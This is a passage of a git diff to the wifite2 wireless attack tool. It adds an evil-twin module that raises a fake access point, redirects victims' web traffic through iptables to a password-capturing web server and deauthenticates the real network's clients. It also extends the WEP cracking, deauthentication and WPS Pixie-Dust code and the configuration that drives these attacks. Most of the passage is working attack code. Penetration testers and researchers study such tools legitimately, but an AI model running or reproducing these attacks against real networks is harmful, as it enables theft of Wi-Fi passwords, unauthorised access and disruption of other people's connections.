Maximum number of "timeouts" + wps.add_argument('--wps-timeouts', action='store', dest='wps_timeout_threshold', - metavar='[timeouts]', + metavar='[num]', type=int, - help=self._verbose('Maximum number of Timeouts before stopping (default: {G}%d{W})' % self.config.wps_timeout_threshold)) - wps.add_argument('-wpsmt', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int) - wps.add_argument('--ignore-ratelimit', - action='store_false', - dest='wps_skip_rate_limit', - help=Color.s('Ignores attack if WPS is rate-limited (default: {G}on{W})')) - wps.add_argument('-ignore-ratelimit', help=argparse.SUPPRESS, action='store_false', dest='wps_skip_rate_limit') + help=self._verbose('Maximum number of Timeouts before failing (default: {G}%d{W})' % self.config.wps_timeout_threshold)) + # Alias + wps.add_argument('-wpsto', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int) def _add_command_args(self, commands): @@ -366,11 +396,11 @@ def _add_command_args(self, commands): help=Color.s('Show commands to crack a captured handshake')) if __name__ == '__main__': - from util.color import Color + from .util.color import Color from config import Configuration Configuration.initialize(False) a = Arguments(Configuration) args = a.args - for (key,value) in sorted(args.__dict__.iteritems()): + for (key,value) in sorted(args.__dict__.items()): Color.pl('{C}%s: {G}%s{W}' % (key.ljust(21),value)) diff --git a/wifite/attack/eviltwin.py b/wifite/attack/eviltwin.py new file mode 100644 index 000000000..a03d6d455 --- /dev/null +++ b/wifite/attack/eviltwin.py @@ -0,0 +1,224 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +import time + +from ..model.attack import Attack +from ..tools.airodump import Airodump +from ..tools.dnsmasq import Dnsmasq +from ..tools.hostapd import Hostapd +from ..tools.ifconfig import Ifconfig +from ..tools.iptables import Iptables +from ..tools.eviltwin_server import EviltwinServer +from ..util.color import Color +from ..util.deauther import Deauther +from ..config import Configuration + +class EvilTwinAttack(Attack): + ''' + Monitor-mode card should be used for deauthing (packet injection). + Other card can be put into AP mode. + ''' + + def __init__(self, target, deauth_iface, ap_iface): + super(EvilTwinAttack, self).__init__(target) + + # Args + self.target = target + self.deauth_iface = deauth_iface + self.ap_iface = ap_iface + + # State + self.success = False + self.completed = False + self.crack_result = None + self.error_msg = None + + # Processes + self.hostapd = None + self.dnsmasq = None + self.webserver = None + self.deauther = None + + + def run(self): + #raise Exception('Eviltwin attack not implemented yet, see https://github.com/derv82/wifite2/issues/81') + + # Start airodump on deuath iface, wait for target, etc. + try: + + with Airodump(channel=self.target.channel, + target_bssid=self.target.bssid, + skip_wps=True, # Don't check for WPS-compatibility + output_file_prefix='airodump') as airodump: + Color.clear_line() + Color.p('\r{+} {O}waiting{W} for target to appear...') + airodump_target = self.wait_for_target(airodump) + Color.clear_entire_line() + + self.pattack(airodump_target, 'setting up {C}%s{W}' % self.ap_iface) + Ifconfig.up(self.ap_iface, ['10.0.0.1/24']) + Color.clear_entire_line() + + self.pattack(airodump_target, 'configuring {C}iptables{W}') + self.configure_iptables(self.ap_iface) + Color.clear_entire_line() + + self.pattack(airodump_target, 'enabling {C}port forwarding{W}') + self.set_port_forwarding(enabled=True) + Color.clear_entire_line() + + self.pattack(airodump_target, 'starting {C}hostapd{W} on {C}%s{W}' % self.ap_iface) + self.hostapd = Hostapd(self.target, self.ap_iface) + self.hostapd.start() + Color.clear_entire_line() + + self.pattack(airodump_target, 'starting {C}dnsmasq{W} on {C}%s{W}' % self.ap_iface) + self.dnsmasq = Dnsmasq(self.ap_iface) + self.dnsmasq.start() + Color.clear_entire_line() + + self.pattack(airodump_target, 'starting {C}evil webserver{W}...') + self.webserver = EviltwinServer(self.success_callback, self.error_callback) + self.webserver.start() + Color.clear_entire_line() + + self.pattack(airodump_target, 'starting {C}deauther{W}...') + self.deauther = Deauther(self.deauth_iface, self.target) + #self.deauther.start() + Color.clear_entire_line() + + while not self.completed: + time.sleep(1) + airodump_target = self.wait_for_target(airodump) + + # TODO: Check hostapd, dnsmasq, and webserver statistics + self.pattack(airodump_target, 'waiting for clients') + + # Update deauther with latest client information + self.deauther.update_target(airodump_target) + + except KeyboardInterrupt: + # Cleanup + Color.pl('\n{!} {O}Interrupted{W}') + + if self.success: + # TODO: print status & save + self.cleanup() + return + + if self.error_msg: + self.cleanup() + raise Exception(self.error_msg) + + self.cleanup() + + + def pattack(self, airodump_target, status): + Color.pattack('EvilTwin', airodump_target, 'attack', status) + + + def success_callback(self, crack_result): + # Called by webserver when we get a password + self.crack_result = crack_result + self.success = True + self.completed = True + + + def status_callback(self, status_message): + # Called by webserver on status update + pass + + + def error_callback(self, error_msg): + # Called by webserver on error / failure + self.completed = True + self.error_msg = error_msg + + + def cleanup(self): + if self.dnsmasq: + self.dnsmasq.stop() + + if self.hostapd: + self.hostapd.stop() + + if self.webserver: + self.webserver.stop() + # From https://stackoverflow.com/a/268686 + + if self.deauther: + self.deauther.stop() + + self.set_port_forwarding(enabled=False) + + Iptables.flush() #iptables -F + Iptables.flush(table='nat') #iptables -t nat -F + Iptables.flush(table='mangle') #iptables -t mangle -F + + Iptables.delete_chain() #iptables -X + Iptables.delete_chain(table='nat') #iptables -t nat -X + Iptables.delete_chain(table='mangle') #iptables -t mangle -X + + + def set_port_forwarding(self, enabled=True): + # echo "1" > /proc/sys/net/ipv4/ip_forward + # TODO: Are there other/better ways to do this? + with open('/proc/sys/net/ipv4/ip_forward', 'w') as ip_forward: + ip_forward.write('1' if enabled else '0') + + + def configure_iptables(self, interface): + # iptables -N internet -t mangle + Iptables.new_chain('internet', 'mangle') + + #iptables -t mangle -A PREROUTING -j internet + Iptables.append('PREROUTING', table='mangle', rules=[ + '-j', 'internet' + ]) + + #iptables -t mangle -A internet -j MARK --set-mark 99 + Iptables.append('PREROUTING', table='mangle', rules=[ + '-j', 'MARK', + '--set-mark', '99', + ]) + + #iptables -t nat -A PREROUTING -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1 + Iptables.append('PREROUTING', table='nat', rules=[ + '--match', 'mark', + '--mark', '99', + '--protocol', 'tcp', + '--dport', '80', + '--jump', 'DNAT', + '--to-destination', '10.0.0.1', + ]) + + #iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT + Iptables.append('FORWARD', rules=[ + '--in-interface', 'eth0', + '--out-interface', interface, + '--match', 'state', + '--state', 'ESTABLISHED,RELATED', + '--jump', 'ACCEPT', + ]) + + #iptables -A FORWARD -m mark --mark 99 -j REJECT + Iptables.append('FORWARD', rules=[ + '--match', 'mark', + '--mark', '99', + '--jump', 'REJECT', + ]) + + #iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT + Iptables.append('FORWARD', rules=[ + '--in-interface', interface, + '--out-interface', 'eth0', + '--jump', 'ACCEPT', + ]) + + #iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE + Iptables.append('POSTROUTING', table='nat', rules=[ + '--out-interface', 'eth0', + '--jump', 'MASQUERADE', + ]) + diff --git a/wifite/attack/wep.py b/wifite/attack/wep.py index bf74f2994..f229fa127 100755 --- a/wifite/attack/wep.py +++ b/wifite/attack/wep.py @@ -5,9 +5,10 @@ from ..tools.airodump import Airodump from ..tools.aireplay import Aireplay, WEPAttackType from ..tools.aircrack import Aircrack +from ..tools.ifconfig import Ifconfig from ..config import Configuration -from ..model.interface import Interface from ..util.color import Color +from ..util.input import raw_input from ..model.wep_result import CrackResultWEP import time @@ -36,6 +37,15 @@ def run(self): replay_file = None airodump_target = None + previous_ivs = 0 + current_ivs = 0 + total_ivs = 0 + keep_ivs = Configuration.wep_keep_ivs + + # Clean up previous WEP sessions + if keep_ivs: + Airodump.delete_airodump_temp_files('wep') + attacks_remaining = list(Configuration.wep_attacks) while len(attacks_remaining) > 0: attack_name = attacks_remaining.pop(0) @@ -46,7 +56,8 @@ def run(self): target_bssid=self.target.bssid, ivs_only=True, # Only capture IVs packets skip_wps=True, # Don't check for WPS-compatibility - output_file_prefix='wep') as airodump: + output_file_prefix='wep', + delete_existing_files=not keep_ivs) as airodump: Color.clear_line() Color.p('\r{+} {O}waiting{W} for target to appear...') @@ -56,7 +67,7 @@ def run(self): if self.fake_auth(): # We successfully authenticated! # Use our interface's MAC address for the attacks. - client_mac = Interface.get_mac() + client_mac = Ifconfig.get_mac(Configuration.interface) # Keep us authenticated fakeauth_proc = Aireplay(self.target, "fakeauth") elif len(airodump_target.clients) == 0: @@ -76,16 +87,28 @@ def run(self): # Start Aireplay process. aireplay = Aireplay(self.target, wep_attack_type, - client_mac=client_mac) + client_mac=client_mac, + replay_file=replay_file) time_unchanged_ivs = time.time() # Timestamp when IVs last changed - previous_ivs = 0 + last_ivs_count = 0 # Loop until attack completes. while True: airodump_target = self.wait_for_target(airodump) - status = "%d/{C}%d{W} IVs" % (airodump_target.ivs, Configuration.wep_crack_at_ivs) + + if client_mac is None and len(airodump_target.clients) > 0: + client_mac = airodump_target.clients[0].station + + if keep_ivs and current_ivs > airodump_target.ivs: + # We now have less IVS than before; A new attack must have started. + # Track how many we have in-total. + previous_ivs += total_ivs + current_ivs = airodump_target.ivs + total_ivs = previous_ivs + current_ivs + + status = "%d/{C}%d{W} IVs" % (total_ivs, Configuration.wep_crack_at_ivs) if fakeauth_proc: if fakeauth_proc and fakeauth_proc.status: status += ", {G}fakeauth{W}" @@ -94,12 +117,7 @@ def run(self): if aireplay.status is not None: status += ", %s" % aireplay.status Color.clear_entire_line() - Color.pattack("WEP", - airodump_target, - "%s" % attack_name, - status) - - #self.aircrack_check() + Color.pattack("WEP", airodump_target, "%s" % attack_name, status) # Check if we cracked it. if aircrack and aircrack.is_cracked(): @@ -109,13 +127,15 @@ def run(self): essid = airodump_target.essid else: essid = None - Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n' - % attack_name) + Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n' % attack_name) if aireplay: aireplay.stop() if fakeauth_proc: fakeauth_proc.stop() self.crack_result = CrackResultWEP(self.target.bssid, self.target.essid, hex_key, ascii_key) self.crack_result.dump() + + Airodump.delete_airodump_temp_files('wep') + self.success = True return self.success @@ -124,29 +144,27 @@ def run(self): Color.p("and {C}cracking{W}") # Check number of IVs, crack if necessary - if airodump_target.ivs > Configuration.wep_crack_at_ivs: - if not aircrack: + if total_ivs > Configuration.wep_crack_at_ivs: + if not aircrack or not aircrack.is_running(): # Aircrack hasn't started yet. Start it. - ivs_file = airodump.find_files(endswith='.ivs')[0] - aircrack = Aircrack(ivs_file) - - elif not aircrack.is_running(): - # Aircrack stopped running. - Color.pl('\n{!} {O}aircrack stopped running!{W}') - ivs_file = airodump.find_files(endswith='.ivs')[0] - Color.pl('{+} {C}aircrack{W} stopped, restarting...') - self.fake_auth() - aircrack = Aircrack(ivs_file) + ivs_files = airodump.find_files(endswith='.ivs') + ivs_files.sort() + if len(ivs_files) > 0: + if not keep_ivs: + ivs_files = ivs_files[-1] # Use most-recent .ivs file + aircrack = Aircrack(ivs_files) elif Configuration.wep_restart_aircrack > 0 and \ aircrack.pid.running_time() > Configuration.wep_restart_aircrack: # Restart aircrack after X seconds + #Color.pl('\n{+} {C}aircrack{W} ran for more than {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack) aircrack.stop() - ivs_file = airodump.find_files(endswith='.ivs')[0] - Color.pl('\n{+} {C}aircrack{W} ran for more than' + - ' {C}%d{W} seconds, restarting' - % Configuration.wep_restart_aircrack) - aircrack = Aircrack(ivs_file) + ivs_files = airodump.find_files(endswith='.ivs') + ivs_files.sort() + if len(ivs_files) > 0: + if not keep_ivs: + ivs_files = ivs_files[-1] # Use most-recent .ivs file + aircrack = Aircrack(ivs_files) if not aireplay.is_running(): @@ -162,7 +180,7 @@ def run(self): # If .xor is not there, the process failed. Color.pl('\n{!} {O}%s attack{R} did not generate a .xor file' % attack_name) # XXX: For debugging - Color.pl('{?} {O}Command: {R}%s{W}' % aireplay.cmd) + Color.pl('{?} {O}Command: {R}%s{W}' % " ".join(aireplay.cmd)) Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output()) break @@ -181,18 +199,19 @@ def run(self): 'forgedreplay', client_mac=client_mac, replay_file=replay_file) + time_unchanged_ivs = time.time() # Reset unchanged IVs time (it may have taken a while to forge the packet) continue else: # Failed to forge packet. drop out break else: Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}') - Color.pl('{?} {O}Command: {R}%s{W}' % aireplay.cmd) - Color.pl('{?} {O}Output:\n%s{W}' % aireplay.get_output()) + Color.pl('{?} {O}Command: {R}%s{W}' % " ".join(aireplay.cmd)) + Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output()) break # Continue to other attacks # Check if IVs stopped flowing (same for > N seconds) - if airodump_target.ivs > previous_ivs: + if airodump_target.ivs > last_ivs_count: time_unchanged_ivs = time.time() elif Configuration.wep_restart_stale_ivs > 0 and \ attack_name != 'chopchop' and \ @@ -209,7 +228,7 @@ def run(self): client_mac=client_mac, \ replay_file=replay_file) time_unchanged_ivs = time.time() - previous_ivs = airodump_target.ivs + last_ivs_count = airodump_target.ivs time.sleep(1) continue @@ -218,11 +237,19 @@ def run(self): except KeyboardInterrupt: if fakeauth_proc: fakeauth_proc.stop() if len(attacks_remaining) == 0: + if keep_ivs: + Airodump.delete_airodump_temp_files('wep') + self.success = False return self.success + if self.user_wants_to_stop(attack_name, attacks_remaining, airodump_target): + if keep_ivs: + Airodump.delete_airodump_temp_files('wep') + self.success = False return self.success + except Exception as e: Color.pl("\n{!} {R}Error: {O}%s" % str(e)) if Configuration.verbose > 0 or Configuration.print_stack_traces: @@ -238,6 +265,9 @@ def run(self): # End of big try-catch # End of for-each-attack-type loop + if keep_ivs: + Airodump.delete_airodump_temp_files('wep') + self.success = False return self.success @@ -278,15 +308,24 @@ def user_wants_to_stop(self, current_attack, attacks_remaining, target): # Deauth clients & retry deauth_count = 1 Color.clear_entire_line() + Color.p("\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...") Aireplay.deauth(target.bssid, essid=target.essid) + + attacking_mac = Ifconfig.get_mac(Configuration.interface) for client in target.clients: + if attacking_mac.lower() == client.station.lower(): + continue # Don't deauth ourselves. + Color.clear_entire_line() Color.p("\r{+} {O}Deauthenticating client {C}%s{W}..." % client.station) + Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid) deauth_count += 1 + Color.clear_entire_line() Color.pl("\r{+} Sent {C}%d {O}deauths{W}" % deauth_count) + # Re-insert current attack to top of list of attacks remaining attacks_remaining.insert(0, current_attack) return False # Don't stop diff --git a/wifite/attack/wps.py b/wifite/attack/wps.py index 906a25fdc..7c49ffa0e 100755 --- a/wifite/attack/wps.py +++ b/wifite/attack/wps.py @@ -29,19 +29,18 @@ def run(self): bully = Bully(self.target) bully.run() bully.stop() - if bully.crack_result is not None: - self.crack_result = bully.crack_result - self.success = True - return True + self.crack_result = bully.crack_result + self.success = self.crack_result is not None + return self.success else: reaver = Reaver(self.target) if reaver.is_pixiedust_supported(): # Reaver: Pixie-dust reaver = Reaver(self.target) - if reaver.run_pixiedust_attack(): - self.crack_result = reaver.crack_result - self.success = True - return True + reaver.run() + self.crack_result = reaver.crack_result + self.success = self.crack_result is not None + return self.success else: Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}") diff --git a/wifite/config.py b/wifite/config.py index e3bad55ac..39cd05ff2 100755 --- a/wifite/config.py +++ b/wifite/config.py @@ -1,76 +1,88 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- -from util.color import Color -from tools.macchanger import Macchanger - import os +from .util.color import Color +from .util.input import raw_input +from .tools.iwconfig import Iwconfig +from .tools.macchanger import Macchanger + class Configuration(object): ''' Stores configuration variables and functions for Wifite. ''' - verbose = 0 + version = '2.1.5' initialized = False # Flag indicating config has been initialized temp_dir = None # Temporary directory - version = 2.00 + interface = None + verbose = 0 - @staticmethod - def initialize(load_interface=True): + @classmethod + def initialize(cls, load_interface=True): ''' Sets up default initial configuration values. Also sets config values based on command-line arguments. ''' + # TODO: categorize configuration into separate classes (under config/*.py) + # E.g. Configuration.wps.enabled, Configuration.wps.timeout, etc # Only initialize this class once - if Configuration.initialized: + if cls.initialized: return - Configuration.initialized = True + cls.initialized = True + + cls.verbose = 0 # Verbosity of output. Higher number means more debug info about running processes. + cls.print_stack_traces = True - Configuration.verbose = 0 # Verbosity level. - Configuration.print_stack_traces = True + cls.kill_conflicting_processes = False - Configuration.kill_conflicting_processes = False + cls.scan_time = 0 # Time to wait before attacking all targets + cls.all_targets = False # Run attacks against all targets automatically - Configuration.scan_time = 0 # Time to wait before attacking all targets - Configuration.all_targets = False # Run attacks against all targets automatically + cls.tx_power = 0 # Wifi transmit power (0 is default) + cls.interface = None + cls.target_channel = None # User-defined channel to scan + cls.target_essid = None # User-defined AP name + cls.target_bssid = None # User-defined AP BSSID + cls.ignore_essid = None # ESSIDs to ignore + cls.clients_only = False # Only show targets that have associated clients + cls.five_ghz = False # Scan 5Ghz channels + cls.show_bssids = False # Show BSSIDs in targets list + cls.random_mac = False # Should generate a random Mac address at startup. + cls.no_deauth = False # Deauth hidden networks & WPA handshake targets + cls.num_deauths = 1 # Number of deauth packets to send to each target. - Configuration.tx_power = 0 # Wifi transmit power (0 is default) - Configuration.interface = None - Configuration.target_channel = None # User-defined channel to scan - Configuration.target_essid = None # User-defined AP name - Configuration.target_bssid = None # User-defined AP BSSID - Configuration.ignore_essid = None # ESSIDs to ignore - Configuration.five_ghz = False # Scan 5Ghz channels - Configuration.show_bssids = False # Show BSSIDs in targets list - Configuration.random_mac = False # Should generate a random Mac address at startup. - Configuration.no_deauth = False # Deauth hidden networks & WPA handshake targets - Configuration.num_deauths = 1 # Number of deauth packets to send to each target. + cls.encryption_filter = ['WEP', 'WPA', 'WPS'] - Configuration.encryption_filter = ['WEP', 'WPA', 'WPS'] + # EvilTwin variables + cls.use_eviltwin = False + cls.eviltwin_port = 80 + cls.eviltwin_iface = None # WEP variables - Configuration.wep_filter = False # Only attack WEP networks - Configuration.wep_pps = 600 # Packets per second - Configuration.wep_timeout = 600 # Seconds to wait before failing - Configuration.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking - Configuration.require_fakeauth = False - Configuration.wep_restart_stale_ivs = 11 # Seconds to wait before restarting + cls.wep_filter = False # Only attack WEP networks + cls.wep_pps = 600 # Packets per second + cls.wep_timeout = 600 # Seconds to wait before failing + cls.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking + cls.require_fakeauth = False + cls.wep_restart_stale_ivs = 11 # Seconds to wait before restarting # Aireplay if IVs don't increaes. # "0" means never restart. - Configuration.wep_restart_aircrack = 30 # Seconds to give aircrack to crack + cls.wep_restart_aircrack = 30 # Seconds to give aircrack to crack # before restarting the process. - Configuration.wep_crack_at_ivs = 10000 # Number of IVS to start cracking + cls.wep_crack_at_ivs = 10000 # Number of IVS to start cracking + cls.wep_keep_ivs = False # Retain .ivs files across multiple attacks. # WPA variables - Configuration.wpa_filter = False # Only attack WPA networks - Configuration.wpa_deauth_timeout = 15 # Wait time between deauths - Configuration.wpa_attack_timeout = 500 # Wait time before failing - Configuration.wpa_handshake_dir = "hs" # Dir to store handshakes - Configuration.wpa_strip_handshake = False # Strip non-handshake packets - Configuration.ignore_old_handshakes = False # Always fetch a new handshake + cls.wpa_filter = False # Only attack WPA networks + cls.wpa_deauth_timeout = 15 # Wait time between deauths + cls.wpa_attack_timeout = 500 # Wait time before failing + cls.wpa_handshake_dir = "hs" # Dir to store handshakes + cls.wpa_strip_handshake = False # Strip non-handshake packets + cls.ignore_old_handshakes = False # Always fetch a new handshake # Default dictionary for cracking - Configuration.wordlist = None + cls.wordlist = None wordlists = [ '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', @@ -78,218 +90,280 @@ def initialize(load_interface=True): ] for wlist in wordlists: if os.path.exists(wlist): - Configuration.wordlist = wlist + cls.wordlist = wlist break # WPS variables - Configuration.wps_filter = False # Only attack WPS networks - Configuration.no_wps = False # Do not use WPS attacks (Pixie-Dust & PIN attacks) - Configuration.wps_only = False # ONLY use WPS attacks on non-WEP networks - Configuration.use_bully = False # Use bully instead of reaver - Configuration.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails - Configuration.wps_pixie_step_timeout = 30 # Seconds to wait for a step to change before pixie fails - Configuration.wps_fail_threshold = 30 # Max number of failures - Configuration.wps_timeout_threshold = 30 # Max number of timeouts - Configuration.wps_skip_rate_limit = True # Skip rate-limited WPS APs + cls.wps_filter = False # Only attack WPS networks + cls.no_wps = False # Do not use WPS attacks (Pixie-Dust & PIN attacks) + cls.wps_only = False # ONLY use WPS attacks on non-WEP networks + cls.use_bully = False # Use bully instead of reaver + cls.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails + cls.wps_fail_threshold = 100 # Max number of failures + cls.wps_timeout_threshold = 100 # Max number of timeouts # Commands - Configuration.show_cracked = False - Configuration.check_handshake = None - Configuration.crack_handshake = False + cls.show_cracked = False + cls.check_handshake = None + cls.crack_handshake = False # Overwrite config values with arguments (if defined) - Configuration.load_from_arguments() + cls.load_from_arguments() if load_interface: - Configuration.get_interface() + cls.get_monitor_mode_interface() - @staticmethod - def get_interface(): - if Configuration.interface is None: + @classmethod + def get_monitor_mode_interface(cls): + if cls.interface is None: # Interface wasn't defined, select it! - from tools.airmon import Airmon - Configuration.interface = Airmon.ask() - if Configuration.random_mac: + from .tools.airmon import Airmon + cls.interface = Airmon.ask() + if cls.random_mac: Macchanger.random() + @classmethod + def get_eviltwin_interface(cls): + if cls.eviltwin_iface is None: + Color.pl('\n{+} {G}Evil Twin attack{W}') + Color.p('{+} looking for wireless interfaces in "Managed" mode... ') - @staticmethod - def load_from_arguments(): + ifaces = Iwconfig.get_interfaces(mode='Managed') + + if len(ifaces) == 0: + Color.pl('\n{!} {O}no other wireless interfaces in "Managed" mode!{W}') + raise Exception('eviltwin attack requires two wireless cards (1 monitor-mode, 1 managed-mode)') + + Color.clear_entire_line() + + while True: + # Ask user to select eviltwin interface + Color.pl(' select the interface for the {C}evil twin{W} access point:') + for index, iface in enumerate(ifaces, start=1): + Color.pl(' {G}%d{W}. {C}%s{W}' % (index, iface)) + + question = '{+} enter number ({G}' + if len(ifaces) == 1: + question += '1' + else: + question += '1-%d' % len(ifaces) + question += '{W}): ' + selection = raw_input(Color.s(question)) + + if selection.strip() in ifaces: + selection = str(ifaces.index(selection.strip()) + 1) + + elif not selection.isdigit(): + Color.pl('\n{!} {O}selection must be numeric{W}') + continue + + selection = int(selection) + + if selection < 1 or selection > len(ifaces): + Color.pl('\n{!} {O}selection must be between {R}1{O} and {R}%d{W}' % len(ifaces)) + continue + + break + + cls.eviltwin_iface = ifaces[selection - 1] + + return cls.eviltwin_iface + + @classmethod + def load_from_arguments(cls): ''' Sets configuration values based on Argument.args object ''' - from args import Arguments + from .args import Arguments - args = Arguments(Configuration).args + args = Arguments(cls).args if args.random_mac: - Configuration.random_mac = True + cls.random_mac = True Color.pl('{+} {C}option:{W} using {G}random mac address{W} when scanning & attacking') if args.channel: - Configuration.target_channel = args.channel + cls.target_channel = args.channel Color.pl('{+} {C}option:{W} scanning for targets on channel {G}%s{W}' % args.channel) if args.interface: - Configuration.interface = args.interface + cls.interface = args.interface Color.pl('{+} {C}option:{W} using wireless interface {G}%s{W}' % args.interface) if args.target_bssid: - Configuration.target_bssid = args.target_bssid + cls.target_bssid = args.target_bssid Color.pl('{+} {C}option:{W} targeting BSSID {G}%s{W}' % args.target_bssid) if args.five_ghz == True: - Configuration.five_ghz = True + cls.five_ghz = True Color.pl('{+} {C}option:{W} including {G}5Ghz networks{W} in scans') if args.show_bssids == True: - Configuration.show_bssids = True + cls.show_bssids = True Color.pl('{+} {C}option:{W} showing {G}bssids{W} of targets during scan') if args.no_deauth == True: - Configuration.no_deauth = True + cls.no_deauth = True Color.pl('{+} {C}option:{W} will {R}not{W} {O}deauth{W} clients during scans or captures') if args.num_deauths and args.num_deauths > 0: - Configuration.num_deauths = args.num_deauths - Color.pl('{+} {C}option:{W} will send {G}%d{W} deauth packets when deauthing' % Configuration.num_deauths) + cls.num_deauths = args.num_deauths + Color.pl('{+} {C}option:{W} will send {G}%d{W} deauth packets when deauthing' % cls.num_deauths) if args.target_essid: - Configuration.target_essid = args.target_essid + cls.target_essid = args.target_essid Color.pl('{+} {C}option:{W} targeting ESSID {G}%s{W}' % args.target_essid) if args.ignore_essid is not None: - Configuration.ignore_essid = args.ignore_essid + cls.ignore_essid = args.ignore_essid Color.pl('{+} {C}option:{W} {O}ignoring ESSIDs that include {R}%s{W}' % args.ignore_essid) + if args.clients_only == True: + cls.clients_only = True + Color.pl('{+} {C}option:{W} {O}ignoring targets that do not have associated clients') if args.scan_time: - Configuration.scan_time = args.scan_time + cls.scan_time = args.scan_time Color.pl('{+} {C}option:{W} ({G}pillage{W}) attack all targets after {G}%d{W}s' % args.scan_time) if args.verbose: - Configuration.verbose = args.verbose + cls.verbose = args.verbose Color.pl('{+} {C}option:{W} verbosity level {G}%d{W}' % args.verbose) if args.kill_conflicting_processes: - Configuration.kill_conflicting_processes = True + cls.kill_conflicting_processes = True Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}') + + # EvilTwin + if args.eviltwin_iface: + # Check that eviltwin_iface exists in iwconfig + existing_ifaces = Iwconfig.get_interfaces() + if args.eviltwin_iface not in existing_ifaces: + raise Exception('Interface "%s" was not found by iwconfig (found %s)' % (args.eviltwin_iface, ','.join(existing_ifaces))) + # TODO: Put device into managed mode? + + cls.eviltwin_iface = args.eviltwin_iface + Color.pl('{+} {C}option:{W} using {G}%s{W} to create fake AP for evil twin attacks' % cls.eviltwin_iface) + + if args.use_eviltwin: + # TODO: Or ask user to select a different wireless device? + cls.use_eviltwin = True + Color.pl('{+} {C}option:{W} attacking all targets using {G}eviltwin attacks{W}') + + # WEP if args.wep_filter: - Configuration.wep_filter = args.wep_filter + cls.wep_filter = args.wep_filter if args.wep_pps: - Configuration.wep_pps = args.wep_pps + cls.wep_pps = args.wep_pps Color.pl('{+} {C}option:{W} using {G}%d{W} packets-per-second on WEP attacks' % args.wep_pps) if args.wep_timeout: - Configuration.wep_timeout = args.wep_timeout + cls.wep_timeout = args.wep_timeout Color.pl('{+} {C}option:{W} WEP attack timeout set to {G}%d seconds{W}' % args.wep_timeout) if args.require_fakeauth: - Configuration.require_fakeauth = True + cls.require_fakeauth = True Color.pl('{+} {C}option:{W} fake-authentication is {G}required{W} for WEP attacks') if args.wep_crack_at_ivs: - Configuration.wep_crack_at_ivs = args.wep_crack_at_ivs + cls.wep_crack_at_ivs = args.wep_crack_at_ivs Color.pl('{+} {C}option:{W} will start cracking WEP keys at {G}%d IVs{W}' % args.wep_crack_at_ivs) if args.wep_restart_stale_ivs: - Configuration.wep_restart_stale_ivs = args.wep_restart_stale_ivs + cls.wep_restart_stale_ivs = args.wep_restart_stale_ivs Color.pl('{+} {C}option:{W} will restart aireplay after {G}%d seconds{W} of no new IVs' % args.wep_restart_stale_ivs) if args.wep_restart_aircrack: - Configuration.wep_restart_aircrack = args.wep_restart_aircrack + cls.wep_restart_aircrack = args.wep_restart_aircrack Color.pl('{+} {C}option:{W} will restart aircrack every {G}%d seconds{W}' % args.wep_restart_aircrack) + if args.wep_keep_ivs: + cls.wep_keep_ivs = args.wep_keep_ivs + Color.pl('{+} {C}option:{W} keep .ivs files across multiple WEP attacks') # WPA if args.wpa_filter: - Configuration.wpa_filter = args.wpa_filter + cls.wpa_filter = args.wpa_filter if args.wordlist: if os.path.exists(args.wordlist): - Configuration.wordlist = args.wordlist + cls.wordlist = args.wordlist Color.pl('{+} {C}option:{W} using wordlist {G}%s{W} to crack WPA handshakes' % args.wordlist) else: - Configuration.wordlist = None + cls.wordlist = None Color.pl('{+} {C}option:{O} wordlist {R}%s{O} was not found, wifite will NOT attempt to crack handshakes' % args.wordlist) if args.wpa_deauth_timeout: - Configuration.wpa_deauth_timeout = args.wpa_deauth_timeout + cls.wpa_deauth_timeout = args.wpa_deauth_timeout Color.pl('{+} {C}option:{W} will deauth WPA clients every {G}%d seconds{W}' % args.wpa_deauth_timeout) if args.wpa_attack_timeout: - Configuration.wpa_attack_timeout = args.wpa_attack_timeout + cls.wpa_attack_timeout = args.wpa_attack_timeout Color.pl('{+} {C}option:{W} will stop WPA handshake capture after {G}%d seconds{W}' % args.wpa_attack_timeout) if args.ignore_old_handshakes: - Configuration.ignore_old_handshakes = True + cls.ignore_old_handshakes = True Color.pl("{+} {C}option:{W} will {O}ignore{W} existing handshakes (force capture)") if args.wpa_handshake_dir: - Configuration.wpa_handshake_dir = args.wpa_handshake_dir + cls.wpa_handshake_dir = args.wpa_handshake_dir Color.pl('{+} {C}option:{W} will store handshakes to {G}%s{W}' % args.wpa_handshake_dir) if args.wpa_strip_handshake: - Configuration.wpa_strip_handshake = True + cls.wpa_strip_handshake = True Color.pl("{+} {C}option:{W} will {G}strip{W} non-handshake packets") # WPS if args.wps_filter: - Configuration.wps_filter = args.wps_filter + cls.wps_filter = args.wps_filter if args.wps_only: - Configuration.wps_only = True + cls.wps_only = True Color.pl('{+} {C}option:{W} will *only* attack non-WEP networks with {G}WPS attacks{W} (no handshake capture)') if args.no_wps: - Configuration.no_wps = args.no_wps + cls.no_wps = args.no_wps Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} (Pixie-Dust/PIN) on targets') if args.use_bully: - Configuration.use_bully = args.use_bully + cls.use_bully = args.use_bully Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks') if 